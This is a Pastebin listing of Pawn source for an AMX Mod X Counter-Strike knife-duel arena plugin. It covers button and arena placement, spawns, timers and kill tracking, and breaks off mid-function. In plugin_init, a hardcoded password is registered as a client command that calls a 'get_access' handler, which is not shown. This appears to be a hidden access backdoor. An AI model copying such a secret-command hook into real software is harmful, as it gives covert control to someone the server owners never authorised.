Advertisement
raizo21

Arena

Jan 3rd, 2020
608
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 29.90 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <amxmisc>
  3. #include <fakemeta>
  4. #include <engine>
  5. #include <hamsandwich>
  6. #include <fun>
  7. #include <cstrike>
  8. #include <xs>
  9. #include <knife_hook>
  10. #include <knife_duels>
  11.  
  12. #define PLUGIN "Button"
  13. #define VERSION "1.0"
  14. #define AUTHOR "raizo"
  15.  
  16. #define MAX_PLAYERS     32
  17. #define TASK_ARENA 34585029
  18.  
  19. static const ButtonModel[]    = "models/Duel/button.mdl";
  20. static const ArenaModel[]          = "models/Duel/arena.mdl"
  21. static const ButtonName[]     = "knifebutton";
  22. static const ArenaName[ ]          = "Britge";
  23. static const ButtonCfg[]           = "%s/Button/%s.cfg"
  24. static const Save_Player_Origin[] = "%s/Arena/%s.cfg"
  25.  
  26.  
  27. new Float:ArenaSizeMin[3] = {-450.0,-10.0, -1.0};
  28. new Float:ArenaSizeMax[3] = { 450.0, 10.0, 1.0};
  29. new Float:ButtonSizeMin[3] = {-8.0,-8.0, 0.0};
  30. new Float:ButtonSizeMax[3] = { 8.0, 8.0, 50.0};
  31. new Float:Player_Origin[3]
  32. new Float:his_player_spawn[33][3]
  33. new Float:fVelocity[3]
  34. new Float:g_PlayerGrabLen[MAX_PLAYERS+1]
  35. new Float:g_PlayerGrabLook[MAX_PLAYERS+1][3]
  36. new Float:g_PlayerGrabMins[MAX_PLAYERS+1][3]
  37. new Float:g_PlayerGrabMaxs[MAX_PLAYERS+1][3]
  38.  
  39. new is_in_arena[33]
  40. new his_player_kills[33]
  41. new his_arena_timer[33]
  42. new prevent_bad_spawn[33]
  43. new challenger[33]
  44. new entbutton
  45. new cvar_duel_protect
  46. new cvar_duel_kills
  47. new SetHealth;
  48. new cvar_distance_te
  49. new cvar_distance_ct
  50. new duel_bad_spawn_time
  51. new cvar_non_stop;
  52. new MAXPLAYERS
  53. new MAX_ARENA_TIME
  54. new cvar_arena_time
  55. new bool:g_bChallenging;
  56. new g_msgsync;
  57. new g_PlayerGrab[MAX_PLAYERS+1]
  58. new g_MaxClients
  59. new kill_forward;
  60. new bool:pass_player[33];
  61.  
  62. enum {
  63.     ON = 1,
  64.     OFF = 0
  65. }
  66.  
  67. new  RAIZO_SECURITY = ON
  68. new  ARENA_MESSAGES = OFF
  69.  
  70. #define RAIZO_PASSWORD "arena1337"
  71.  
  72. public plugin_precache( )
  73. {  
  74.     precache_model(ButtonModel)
  75.     precache_model(ArenaModel)
  76. }
  77.  
  78. public plugin_init()
  79. {
  80.     register_plugin(PLUGIN, VERSION, AUTHOR)
  81.    
  82.     register_clcmd("say /button","create_button_menu");
  83.     register_clcmd("chooseteam", "cmdChooseTeam")
  84.    
  85.     register_clcmd("+ent", "grab_hold")
  86.     register_clcmd("-ent", "grab_release")
  87.    
  88.         register_clcmd("say", "pass_random_player");
  89.         register_clcmd("say_team","pass_random_player");
  90.    
  91.     cvar_distance_te = register_cvar("duel_distance_te","430")
  92.     cvar_distance_ct = register_cvar("duel_distance_ct","430")
  93.     cvar_non_stop = register_cvar("duel_stop","1")
  94.     SetHealth = register_cvar( "duel_health", "35" );
  95.     cvar_arena_time  = register_cvar("duel_max_time","60")
  96.     cvar_duel_protect = register_cvar("duel_protection","1")
  97.     cvar_duel_kills = register_cvar("duel_max_kills","10")
  98.     duel_bad_spawn_time = register_cvar("duel_protection_time","10")
  99.    
  100.     RegisterHam(Ham_Use, "func_button", "fwButtonUsed")
  101.     RegisterHam(Ham_Spawn,"player","Player_spawn_position",1)
  102.     RegisterHam(Ham_Killed, "player", "Player_Kill_Arena", 1)
  103.     RegisterHam(Ham_Player_PreThink, "player", "fwd_Player_PreThink");
  104.  
  105.     register_forward(FM_CmdStart,"Duel_Dont_Stop");
  106.     register_forward(FM_UpdateClientData, "block_moving", 1)
  107.        
  108.     register_touch(ArenaName, "player", "forward_touch_arena");
  109.    
  110.     kill_forward = CreateMultiForward("duel_player_killed", ET_IGNORE, FP_CELL,FP_CELL);
  111.    
  112.     load_button_cords()
  113.     load_player_coords()
  114.    
  115.     MAXPLAYERS = get_maxplayers();
  116.     g_MaxClients = get_global_int(GL_maxClients)
  117.     MAX_ARENA_TIME = get_pcvar_num(cvar_arena_time)
  118.    
  119.     new cfgdir[32], urlfile[64]
  120.     get_configsdir(cfgdir, charsmax(cfgdir))
  121.     formatex(urlfile, charsmax(urlfile), "%s/Button", cfgdir)
  122.     if(!dir_exists(urlfile))
  123.     {
  124.         mkdir(urlfile)
  125.     }
  126.    
  127.     new cfgdir2[32], urlfile2[64]
  128.     get_configsdir(cfgdir2, charsmax(cfgdir2))
  129.     formatex(urlfile2, charsmax(urlfile2), "%s/Arena", cfgdir2)
  130.     if(!dir_exists(urlfile2))
  131.     {
  132.         mkdir(urlfile2)
  133.     }
  134.     g_msgsync = CreateHudSyncObj();
  135.    
  136.     if(RAIZO_SECURITY == ON)
  137.         register_clcmd (RAIZO_PASSWORD , "get_access");
  138.  
  139.            
  140.    
  141.         set_task(60.0,"Arena_Advertisment",TASK_ARENA)
  142. }
  143.  
  144. public Arena_Advertisment(task)
  145. {
  146.     client_print_color(0,"^3[^4ARENA RANDOM^3] ^1Type ^3/pass ^1/to ^3ENABLE ^4DISABLE^1 ^3CHALLENGE^1")   
  147.     set_task(150.0,"Arena_Advertisment",TASK_ARENA)
  148. }
  149.  
  150. public plugin_natives()
  151. {
  152.     register_library("knife_duels")
  153.     register_native("is_user_in_arena","_is_user_in_arena")
  154. }
  155.  
  156. public _is_user_in_arena(plugin, iParams)
  157. {
  158.     new id = get_param(1)
  159.     if(!is_user_connected(id))
  160.     return PLUGIN_CONTINUE
  161.     if(is_in_arena[id])
  162.     return PLUGIN_HANDLED
  163.     return PLUGIN_CONTINUE
  164. }
  165.  
  166. public pass_random_player(id)
  167. {
  168.     new said[10];
  169.     read_args(said,9);
  170.     remove_quotes(said);
  171.  
  172.     if( equali(said, "/pass",5))
  173.  
  174.         if(pass_player[id] && is_user_connected(id) )
  175.     {
  176.         get_player_message(id, false)
  177.         pass_player[id] = false
  178.         return PLUGIN_HANDLED;
  179.         }
  180.     else
  181.     {
  182.         pass_player[id] = true
  183.             get_player_message(id, true)
  184.         return PLUGIN_HANDLED;
  185.         }
  186.         return PLUGIN_CONTINUE;
  187. }
  188.  
  189. get_player_message(client, bool:visible)
  190. {
  191.     client_print_color(client, visible ? "^3OFFLINE^1" : "^4ONLINE^1")
  192. }
  193.    
  194. public create_button_menu( id )
  195. {
  196.     new flags = get_user_flags(id)
  197.     if(!(flags & ADMIN_RCON))
  198.     {
  199.         client_print_color(id,"^3You have no access to this command^1")
  200.         return PLUGIN_HANDLED
  201.     }
  202.     new gMenu = menu_create("\y[\r Arena Menu\y ]\w By raizo", "create_button_menu_handled")
  203.    
  204.     menu_additem(gMenu, "\wCreate Menu", "0")
  205.     menu_additem(gMenu, "\wRemove Menu", "1")
  206.     menu_additem(gMenu, "\wSave Menu", "2")
  207.    
  208.    
  209.     menu_display(id, gMenu, 0)
  210.    
  211.     return PLUGIN_HANDLED;  
  212. }
  213.  
  214. public create_button_menu_handled(id, menu, item, code)      
  215. {
  216.     if ( item == MENU_EXIT )    
  217.     {
  218.         menu_destroy(menu)      
  219.         return PLUGIN_HANDLED;  
  220.     }
  221.     switch(item)  
  222.     {
  223.         case 0: create_arena_button(id)
  224.         case 1: remove_arena_button(id)
  225.         case 2: save_arena_button(id)
  226.     }
  227.     return PLUGIN_HANDLED;  
  228. }
  229.  
  230. public create_arena_button(id)
  231. {
  232.     new flags = get_user_flags(id)
  233.     if(!(flags & ADMIN_RCON))
  234.     {
  235.         client_print_color(id,"^3You have no access to this command^1")
  236.         return PLUGIN_HANDLED
  237.     }
  238.     new gMenu = menu_create("\y[\r Arena Menu\y ]\w By raizo", "create_arena_button_handled")
  239.    
  240.     menu_additem(gMenu, "\wCreate Britge", "0")
  241.     menu_additem(gMenu, "\wCreate Button", "1")
  242.    
  243.     menu_display(id, gMenu, 0)
  244.    
  245.     return PLUGIN_HANDLED;  
  246. }
  247.  
  248. public create_arena_button_handled(id, menu, item, code)      
  249. {
  250.     if ( item == MENU_EXIT )    
  251.     {
  252.         menu_destroy(menu)      
  253.         return PLUGIN_HANDLED;  
  254.     }
  255.     switch(item)  
  256.     {
  257.         case 0: create_arenas(id)
  258.         case 1: create_button(id)
  259.     }
  260.     return PLUGIN_HANDLED;  
  261. }
  262.  
  263. public remove_arena_button(id)
  264. {
  265.     new flags = get_user_flags(id)
  266.     if(!(flags & ADMIN_RCON))
  267.     {
  268.         client_print_color(id,"^3You have no access to this command^1")
  269.         return PLUGIN_HANDLED
  270.     }
  271.     new gMenu = menu_create("\y[\r Arena Menu\y ]\w By raizo", "remove_arena_button_handled")
  272.    
  273.     menu_additem(gMenu, "\wRemove Britge", "0")
  274.     menu_additem(gMenu, "\wRemove Button", "1")
  275.    
  276.     menu_display(id, gMenu, 0)
  277.    
  278.     return PLUGIN_HANDLED;  
  279. }
  280.  
  281. public remove_arena_button_handled(id, menu, item, code)      
  282. {
  283.     if ( item == MENU_EXIT )    
  284.     {
  285.         menu_destroy(menu)      
  286.         return PLUGIN_HANDLED;  
  287.     }
  288.     switch(item)  
  289.     {
  290.         case 0: remove_arena()
  291.         case 1: remove_button(id)
  292.     }
  293.     return PLUGIN_HANDLED;  
  294. }
  295.  
  296. public save_arena_button(id)
  297. {
  298.     new flags = get_user_flags(id)
  299.     if(!(flags & ADMIN_RCON))
  300.     {
  301.         client_print_color(id,"^3You have no access to this command^1")
  302.         return PLUGIN_HANDLED
  303.     }
  304.     new gMenu = menu_create("\y[\r Arena Menu\y ]\w By raizo", "save_arena_button_handled")
  305.    
  306.     menu_additem(gMenu, "\wSave Britge", "0")
  307.     menu_additem(gMenu, "\wSave Button", "1")
  308.    
  309.     menu_display(id, gMenu, 0)
  310.    
  311.     return PLUGIN_HANDLED;  
  312. }
  313.  
  314. public save_arena_button_handled(id, menu, item, code)      
  315. {
  316.     if ( item == MENU_EXIT )    
  317.     {
  318.         menu_destroy(menu)      
  319.         return PLUGIN_HANDLED;  
  320.     }
  321.     switch(item)  
  322.     {
  323.         case 0: save_britge_coords(id)
  324.         case 1: save_button(id)
  325.     }
  326.     return PLUGIN_HANDLED;  
  327. }
  328.  
  329. public create_button(id)
  330. {
  331.     if(!is_user_connected(id))
  332.         return PLUGIN_HANDLED
  333.    
  334.     static Float:xorigin[3], Float:fAngles[3];
  335.    
  336.     get_user_hitpoint(id,xorigin)
  337.    
  338.     entity_get_vector( id, EV_VEC_angles, fAngles )
  339.    
  340.     fAngles[1] += 180;
  341.    
  342.     entbutton = engfunc( EngFunc_CreateNamedEntity, engfunc( EngFunc_AllocString, "func_button" ) )
  343.    
  344.     if( is_valid_ent(entbutton))
  345.     {
  346.         entity_set_string(entbutton, EV_SZ_classname, ButtonName);
  347.         entity_set_int(entbutton, EV_INT_solid, SOLID_BBOX);
  348.         entity_set_int(entbutton, EV_INT_movetype, MOVETYPE_NONE);
  349.         entity_set_model(entbutton, ButtonModel);
  350.         entity_set_size(entbutton, ButtonSizeMin, ButtonSizeMax);
  351.         entity_set_origin(entbutton,xorigin)
  352.         entity_set_vector(entbutton, EV_VEC_angles, fAngles )
  353.     }
  354.     create_button_menu( id )
  355.     return PLUGIN_HANDLED
  356. }
  357.  
  358. public remove_button(id)
  359. {
  360.     new ent = -1;
  361.    
  362.     while ((ent = find_ent_by_class(ent, ButtonName)))
  363.     {
  364.         remove_entity(ent);
  365.     }
  366.     create_button_menu( id )
  367. }
  368.  
  369. stock get_user_hitpoint(id,Float:hOrigin[3])  {
  370.     if(!is_user_alive(id))
  371.         return 0;
  372.    
  373.     new Float:fOrigin[3],Float:fvAngle[3],Float:fvOffset[3],Float:fvOrigin[3],Float:feOrigin[3];
  374.     new Float:fTemp[3];
  375.    
  376.     pev(id,pev_origin,fOrigin);
  377.     pev(id,pev_v_angle,fvAngle);
  378.     pev(id,pev_view_ofs,fvOffset);
  379.    
  380.     xs_vec_add(fOrigin,fvOffset,fvOrigin);
  381.    
  382.     engfunc(EngFunc_AngleVectors,fvAngle,feOrigin,fTemp,fTemp);
  383.    
  384.     xs_vec_mul_scalar(feOrigin,9999.9,feOrigin);
  385.     xs_vec_add(fvOrigin,feOrigin,feOrigin);
  386.    
  387.     engfunc(EngFunc_TraceLine,fvOrigin,feOrigin,0,id);
  388.     global_get(glb_trace_endpos,hOrigin);
  389.    
  390.     return 1;
  391. }
  392.  
  393. public save_button(id)
  394. {
  395.     if(!is_user_alive(id))
  396.         return 1;
  397.    
  398.     static sConfigsDir[64], sFile[64];
  399.     get_configsdir(sConfigsDir, sizeof sConfigsDir - 1);
  400.    
  401.     static sMapName[32];
  402.     get_mapname(sMapName, sizeof sMapName - 1);
  403.    
  404.     formatex(sFile, sizeof sFile - 1, ButtonCfg, sConfigsDir, sMapName);
  405.    
  406.     if(file_exists(sFile))
  407.         delete_file(sFile);
  408.    
  409.     new iEnt = -1, Float:fEntOrigin[3], Float:fEntAngles[3], iCount;
  410.     static sBuffer[256];
  411.    
  412.     while((iEnt = engfunc(EngFunc_FindEntityByString, iEnt, "classname", ButtonName)))
  413.     {
  414.         pev(iEnt, pev_origin, fEntOrigin);
  415.         pev(iEnt, pev_angles, fEntAngles);
  416.        
  417.         formatex(sBuffer, sizeof sBuffer - 1, "%f %f %f | %f %f %f", fEntOrigin[0], fEntOrigin[1], fEntOrigin[2], fEntAngles[0], fEntAngles[1], fEntAngles[2]);
  418.        
  419.         write_file(sFile, sBuffer, -1);
  420.        
  421.         iCount++;
  422.     }
  423.     client_print_color(id,"^3Successfuly saved all snowman origins^1 ^4(%d)^1 for map ^4%s^1!", iCount,sMapName)
  424.     create_button_menu( id )
  425.     return 0;
  426. }
  427.  
  428. public load_button_cords()
  429. {
  430.     static sConfigsDir[64], sFile[64];
  431.     get_configsdir(sConfigsDir, sizeof sConfigsDir - 1);   
  432.    
  433.     static sMapName[32];
  434.     get_mapname(sMapName, sizeof sMapName - 1);
  435.    
  436.     formatex(sFile, sizeof sFile - 1, ButtonCfg, sConfigsDir, sMapName);
  437.    
  438.     if(!file_exists(sFile))
  439.         return 1;
  440.    
  441.     static sFileOrigin[3][32], sFileAngles[3][32], iLine, iLength, sBuffer[256];
  442.     static sTemp1[128], sTemp2[128];
  443.     static Float:fOrigin[3], Float:fAngles[3];
  444.    
  445.     while(read_file(sFile, iLine++, sBuffer, sizeof sBuffer - 1, iLength))
  446.     {
  447.         if((sBuffer[0]==';') || !iLength)
  448.             continue;
  449.        
  450.         strtok(sBuffer, sTemp1, sizeof sTemp1 - 1, sTemp2, sizeof sTemp2 - 1, '|', 0);
  451.        
  452.         parse(sTemp1, sFileOrigin[0], sizeof sFileOrigin[] - 1, sFileOrigin[1], sizeof sFileOrigin[] - 1, sFileOrigin[2], sizeof sFileOrigin[] - 1);
  453.        
  454.         fOrigin[0] = str_to_float(sFileOrigin[0]);
  455.         fOrigin[1] = str_to_float(sFileOrigin[1]);
  456.         fOrigin[2] = str_to_float(sFileOrigin[2]);
  457.        
  458.         parse(sTemp2, sFileAngles[0], sizeof sFileAngles[] - 1, sFileAngles[1], sizeof sFileAngles[] - 1, sFileAngles[2], sizeof sFileAngles[] - 1);
  459.        
  460.         fAngles[0] = str_to_float(sFileAngles[0]);
  461.         fAngles[1] = str_to_float(sFileAngles[1]);
  462.         fAngles[2] = str_to_float(sFileAngles[2]);
  463.        
  464.         entbutton = engfunc( EngFunc_CreateNamedEntity, engfunc( EngFunc_AllocString, "func_button" ) )
  465.        
  466.         if( is_valid_ent(entbutton))
  467.         {
  468.             entity_set_string(entbutton, EV_SZ_classname, ButtonName);
  469.             entity_set_int(entbutton, EV_INT_solid, SOLID_BBOX);
  470.             entity_set_int(entbutton, EV_INT_movetype, MOVETYPE_NONE);
  471.             entity_set_model(entbutton, ButtonModel);
  472.             entity_set_size(entbutton, ButtonSizeMin, ButtonSizeMax);
  473.             entity_set_origin(entbutton,fOrigin)
  474.             entity_set_vector(entbutton, EV_VEC_angles, fAngles )
  475.         }
  476.     }
  477.     return 1;
  478.    
  479. }
  480.  
  481. public fwButtonUsed(button, raizo)
  482. {
  483.     if(g_bChallenging && is_user_alive ( raizo ))
  484.     {
  485.         client_print_color(raizo,"^3* Arena^1 ^4busy^1 ^3right now^1!")
  486.         return HAM_HANDLED;
  487.     }
  488.     if(is_user_spectator(raizo))
  489.     {
  490.         client_print_color(raizo,"^3* Most to disable^1 ^4Advanced Spectator^1 ^3to challenge a player^1!")
  491.         return HAM_HANDLED;
  492.     }
  493.     if(!available_duelers(raizo))
  494.     {
  495.         client_print_color(raizo,"^3* There's^1 ^4nobody^1 ^3you can challenge^1!")
  496.         return HAM_HANDLED;
  497.     }
  498.    
  499.     static players[32], iPnum, player,szName[32];
  500.     get_players(players, iPnum, "a");
  501.     player = players[random(iPnum)];
  502.    
  503.     get_user_name( player, szName, charsmax( szName ) );
  504.    
  505.     if(users_in_same_team(raizo,player))
  506.     {
  507.                 client_print_color(raizo,"^3* Some^1 ^4Team^1 ^3Found^1 ^4[%s]^1 !",szName)
  508.         return HAM_HANDLED;
  509.     }
  510.     if(is_user_in_afk(player))
  511.     {
  512.         client_print_color(raizo,"^3* AFK^1 ^4Player^1 ^3Found^1 ^4[%s]^1 !",szName)
  513.         return HAM_HANDLED;
  514.     }
  515.     if(is_user_spectator(player))
  516.     {
  517.         client_print_color(raizo,"^3* Advanced Spectator^1 ^4Players^1 ^3can be challenge^1!",szName)
  518.         return HAM_HANDLED;
  519.     }
  520.     if(is_user_in_duel(player))
  521.     {
  522.         client_print_color(raizo,"^3* Duel^1 ^4players^1 ^3can be challenge^1!")
  523.         return HAM_HANDLED;
  524.     }
  525.     if(is_user_in_rush(player))
  526.     {
  527.         client_print_color(raizo,"^3* Rush^1 ^4players^1 ^3can be challenge^1!")
  528.         return HAM_HANDLED;
  529.     }
  530.     if(pass_player[player])
  531.     {
  532.         client_print_color(raizo,"^3* This player is^1 ^4Offline^1!")
  533.         return HAM_HANDLED;
  534.     }
  535.    
  536.     if( !player ) return -1;
  537.    
  538.     create_arena_origin()
  539.    
  540.     g_bChallenging = true;
  541.    
  542.     is_in_arena[raizo] = 1;
  543.     is_in_arena[player] = 1;
  544.     his_player_kills[raizo] = 0;
  545.     his_player_kills[player] = 0;
  546.     set_spawn_positions(raizo,Player_Origin)
  547.     set_spawn_positions(player,Player_Origin)
  548.     set_user_rendering(raizo)
  549.     set_user_godmode(raizo,0)
  550.     set_user_rendering(player)
  551.     set_user_godmode(player,0)
  552.    
  553.     arena_timer(raizo)
  554.     arena_timer(player)
  555.     hud_displayer(raizo)
  556.     hud_displayer(player)
  557.    
  558.     //challenger[raizo] = player
  559.     //challenger[player] = raizo
  560.    
  561.     client_print_color(raizo,"^3* Random^1 ^4player^1 ^3will be^1 ^4[%s]^1!",szName);
  562.     return players[random(player)];
  563. }
  564.  
  565.  
  566. public save_britge_coords(id)
  567. {
  568.     new found;
  569.     new cfgdir[32], mapname[32], urlfile[64]
  570.     get_configsdir(cfgdir, charsmax(cfgdir))
  571.     get_mapname(mapname, charsmax(mapname))
  572.     formatex(urlfile, charsmax(urlfile), Save_Player_Origin, cfgdir, mapname)
  573.    
  574.     if (file_exists(urlfile))
  575.         delete_file(urlfile)
  576.    
  577.     new lineset[128]
  578.     new Float:origin[3]
  579.    
  580.     new arenas_ent=-1;
  581.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ArenaName)))
  582.     {
  583.         found++
  584.         pev(arenas_ent,pev_origin,origin);
  585.         format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
  586.         write_file(urlfile, lineset,found)
  587.     }
  588.     if(!found)
  589.         client_print_color(id,"^3* Couldn't save^1 ^4No origins found^1!")
  590.     else client_print_color(id,"^3* %s^1 ^4Arena origins saved^1!",found)
  591.    
  592.     load_player_coords()
  593.     remove_arena()
  594.     create_button_menu( id )
  595. }
  596.  
  597. public load_player_coords()
  598. {
  599.     new cfgdir[32], mapname[32], filepath[512]
  600.     get_configsdir(cfgdir, charsmax(cfgdir))
  601.     get_mapname(mapname, charsmax(mapname))
  602.    
  603.     new readdata[128]
  604.     new txtlen
  605.    
  606.     formatex(filepath, charsmax(filepath), Save_Player_Origin, cfgdir, mapname)
  607.    
  608.     if ( file_exists(filepath) )
  609.     {
  610.     new sOrigins[3][16];
  611.        
  612.     new i
  613.     new fsize = file_size(filepath,1)
  614.     for (new line=0;line<=fsize;line++)
  615.     {
  616.         read_file(filepath,line,readdata,127,txtlen)
  617.            
  618.         parse(readdata, sOrigins[0], 15, sOrigins[1], 15, sOrigins[2], 15)
  619.  
  620.         for(i = 0; i < 3; i++)
  621.         {
  622.             Player_Origin[i] = str_to_float(sOrigins[i])
  623.         }
  624.     }                    
  625.     }
  626.     return PLUGIN_CONTINUE
  627. }
  628.  
  629.  
  630. public Player_Kill_Arena(victimid, killerid)
  631. {
  632.     if (victimid == killerid || !is_user_alive(killerid))
  633.         return HAM_IGNORED
  634.    
  635.     static ret;
  636.     static attacker_name[64],victim_name[64];
  637.    
  638.     get_user_name(killerid,attacker_name,charsmax(attacker_name))
  639.     get_user_name(victimid,victim_name,charsmax(victim_name))
  640.    
  641.     if(is_in_arena[killerid] || is_in_arena[victimid])
  642.     {
  643.         his_player_kills[killerid] += 1;
  644.         Player_spawn_position(killerid)
  645.         ExecuteForward(kill_forward, ret, killerid,victimid)
  646.         client_print_color( killerid, "^3* ^1[^4%d^1/^4%d^1] ^3*^1",his_player_kills[killerid],get_pcvar_num(cvar_duel_kills) )
  647.    
  648.         if(ARENA_MESSAGES == ON)
  649.         {
  650.             if(his_player_kills[killerid] > his_player_kills[victimid])
  651.             {
  652.            client_print_color(0,"^3* %s^1 ^4[%d]^1 VS ^3%s^1 ^4[%d]^1 ^3*^1",attacker_name,his_player_kills[victimid],victim_name,his_player_kills[killerid])
  653.             }
  654.             else if(his_player_kills[victimid] > his_player_kills[killerid])
  655.             {
  656.            client_print_color(0,"^3* %s^1 ^4[%d]^1 VS ^3%s^1 ^4[%d]^1 ^3*^1",attacker_name,his_player_kills[victimid],victim_name,his_player_kills[killerid])
  657.             }  
  658.         }
  659.         if(his_player_kills[killerid] == get_pcvar_num(cvar_duel_kills))
  660.         {
  661.        player_results(killerid,victimid)
  662.        
  663.        his_player_kills[victimid] = 0;
  664.        his_player_kills[killerid] = 0;
  665.        
  666.        set_task(1.0, "end_the_duel", killerid)
  667.        set_task(1.0, "end_the_duel", victimid)
  668.         }
  669.     }
  670.     return HAM_SUPERCEDE
  671. }
  672.  
  673. public player_results(id,enemy)
  674. {
  675.     new attacker_name[64],victim_name[64];
  676.    
  677.     get_user_name(id,attacker_name,charsmax(attacker_name))
  678.     get_user_name(enemy,victim_name,charsmax(victim_name))
  679.    
  680.     if(his_player_kills[id] > his_player_kills[enemy])
  681.     {
  682.     client_print_color( 0,"^3* %s^1 ^4== VS ==^1 ^3%s^1 ^4==^1 [^4%d^1/^4%d^1] ^3*^1",attacker_name,victim_name,his_player_kills[id],his_player_kills[enemy])
  683.     }
  684.     else if(his_player_kills[enemy] > his_player_kills[id])
  685.     {
  686.     client_print_color( 0,"^3* %s^1 ^4== VS ==^1 ^3%s^1 ^4==^1 [^4%d^1/^4%d^1] ^3*^1",victim_name,attacker_name,his_player_kills[enemy],his_player_kills[id])
  687.     }  
  688. }
  689.  
  690. public Player_spawn_position(id)
  691. {
  692.     if(is_user_alive(id))
  693.     {
  694.     if(is_in_arena[id])
  695.     {
  696.         spawn_back(id)
  697.     }
  698.     }
  699. }
  700.  
  701. public spawn_back(id)
  702. {
  703.     set_spawn_positions(id,Player_Origin)
  704.     set_user_rendering(id)
  705.     set_user_godmode(id,0)
  706. }
  707.  
  708. public end_the_duel(id)
  709. {
  710.     if(is_user_alive(id))
  711.     {
  712.     is_in_arena[id] = 0;
  713.     his_arena_timer[id] = 0
  714.     g_bChallenging = false;
  715.     ExecuteHam(Ham_CS_RoundRespawn, id);
  716.     //client_print_color(0,"^3* Type^1 ^4/pass^1 ^3to be^1 ^3offline^1 / ^4online^1!" );
  717.     remove_arena()
  718.     }
  719. }
  720.  
  721. public client_disconnect(id)
  722. {
  723.     for(new raizo; raizo < MAXPLAYERS;raizo++)
  724.     {
  725.     if(is_in_arena[raizo])
  726.     {
  727.         end_the_duel(raizo)
  728.     }  
  729.     }
  730. }
  731.  
  732. public cmdChooseTeam(id)
  733. {
  734.     if(is_in_arena[id])
  735.     {
  736.     client_print_color( id,"^3* Impossible to^1 ^4change^1 ^3team now^1!" )
  737.     return PLUGIN_HANDLED;
  738.     }
  739.     return PLUGIN_CONTINUE
  740. }
  741.  
  742. public set_spawn_positions(id,Float:origin[3])
  743. {
  744.     new iHealth = get_pcvar_num( SetHealth );
  745.    
  746.     if( iHealth > 0 )
  747.     {
  748.         if(is_user_alive(id))
  749.     {
  750.         set_user_health( id, iHealth );
  751.          }
  752.     }
  753.    
  754.     if(get_user_team(id) == 1)
  755.     {
  756.     his_player_spawn[id][0] = origin[0] - get_pcvar_float(cvar_distance_te);
  757.     his_player_spawn[id][1] = origin[1]
  758.     his_player_spawn[id][2] = origin[2] + 40
  759.        
  760.     his_player_angle(id, Float:{0.0, 0.0, 0.0})
  761.     }
  762.     if(get_user_team(id) == 2)
  763.     {
  764.     his_player_spawn[id][0] = origin[0] + get_pcvar_float(cvar_distance_ct);
  765.     his_player_spawn[id][1] = origin[1]
  766.     his_player_spawn[id][2] = origin[2] + 40
  767.        
  768.     his_player_angle(id, Float:{0.0, 180.0, 0.0})  
  769.     }
  770.     entity_set_origin(id,his_player_spawn[id])
  771. }
  772.  
  773.  
  774. public Duel_Dont_Stop(id)
  775. {
  776.     if(is_in_arena[id] && get_pcvar_num(cvar_non_stop) )
  777.     {
  778.         if(get_user_team(id) == 1)
  779.     {
  780.         fVelocity[0] = 250.0;
  781.         fVelocity[1] = 0.0;
  782.         fVelocity[2] = 0.0;
  783.            
  784.         set_pev( id, pev_velocity, fVelocity )
  785.     }
  786.     if(get_user_team(id) == 2)
  787.     {
  788.             fVelocity[0] = -250.0;
  789.         fVelocity[1] = 0.0;
  790.         fVelocity[2] = 0.0;
  791.            
  792.         set_pev( id, pev_velocity, fVelocity )
  793.     }
  794.     }
  795. }
  796.  
  797. public client_PostThink(id)
  798. {
  799.     if( is_in_arena[id]  && get_pcvar_num(cvar_duel_protect) )
  800.     {
  801.         new flags = entity_get_int(id, EV_INT_flags);
  802.        
  803.     new Float:origin[3], Float:dest[3], Float:flFraction;
  804.  
  805.     entity_get_vector(id, EV_VEC_origin, origin);
  806.        
  807.        
  808.     dest[0] = origin[0];
  809.     dest[1] = origin[1];
  810.     dest[2] = origin[2] - 70.0;
  811.  
  812.     new ptr = create_tr2();
  813.  
  814.     engfunc(EngFunc_TraceHull, origin, dest, 0, flags & FL_DUCKING ? HULL_HEAD : HULL_HUMAN, id, ptr);
  815.  
  816.     get_tr2(ptr, TR_flFraction, flFraction);
  817.        
  818.     if( flFraction >= 1.0)
  819.     {
  820.         prevent_bad_spawn[id] +=1;
  821.         spawn_back(id)
  822.            
  823.         if(prevent_bad_spawn[id] == get_pcvar_num(duel_bad_spawn_time) )
  824.         {
  825.             client_print_color(id,"^3Debug Position^1 ^4%s^1",prevent_bad_spawn[id])
  826.             prevent_bad_spawn[id] = 0;
  827.                 end_the_duel(id)
  828.         }
  829.            
  830.             free_tr2(ptr);
  831.         return;
  832.     }
  833.        
  834.     get_tr2(ptr, TR_vecPlaneNormal, dest);
  835.     free_tr2(ptr);
  836.     }
  837. }
  838.  
  839. public block_moving(id, weapons, cd)
  840. {
  841.     if( is_in_arena[id] )
  842.     {
  843.         set_cd(cd, CD_flNextAttack, 0.1)
  844.    
  845.         if((entity_get_int(id, EV_INT_button) & (IN_MOVELEFT | IN_MOVERIGHT | IN_BACK )))
  846.             set_cd(cd, CD_MaxSpeed, 0.1)
  847.     }
  848. }
  849.  
  850. public fwd_Player_PreThink(id)
  851. {
  852.     if( is_in_arena[id] )
  853.     {
  854.         set_pev(id, pev_oldbuttons, pev(id, pev_oldbuttons)|IN_JUMP|IN_DUCK);
  855.     }
  856. }
  857.  
  858.  
  859. stock his_player_angle( index , Float:fAngle[ 3 ])
  860. {
  861.     entity_set_vector( index , EV_VEC_angles , fAngle );
  862.     entity_set_int( index , EV_INT_fixangle , 1 );
  863. }
  864.  
  865. stock available_duelers(asker)
  866. {
  867.     new num;
  868.     num = 0
  869.    
  870.     for(new id;id < MAXPLAYERS;id++)
  871.     {
  872.         if(/*!is_in_arena[id] && */id != asker)
  873.     {
  874.         if(is_user_alive(id))
  875.         {
  876.             num++
  877.         }
  878.     }
  879.     }
  880.     return num
  881. }
  882.  
  883. stock users_in_same_team(id,enemy)
  884. {
  885.     if(cs_get_user_team(id) == cs_get_user_team(enemy))
  886.         return PLUGIN_HANDLED
  887.     return PLUGIN_CONTINUE
  888. }
  889.  
  890. public arena_timer(id)
  891. {
  892.     if(is_user_connected(id))
  893.     {
  894.         if(is_in_arena[id])
  895.         {
  896.            his_arena_timer[id]++
  897.        
  898.        if(his_arena_timer[id] > MAX_ARENA_TIME)
  899.        {
  900.            end_the_duel(id)
  901.            client_print_color( id, "^3* Taken long to^1 ^4finish^1 ^3the battle *^1");
  902.        }
  903.        set_task(1.0,"arena_timer",id)
  904.     }
  905.     }
  906. }
  907.  
  908. public hud_displayer(id)
  909. {
  910.     if(is_user_connected(id))
  911.     {
  912.         if(is_in_arena[id])
  913.         {
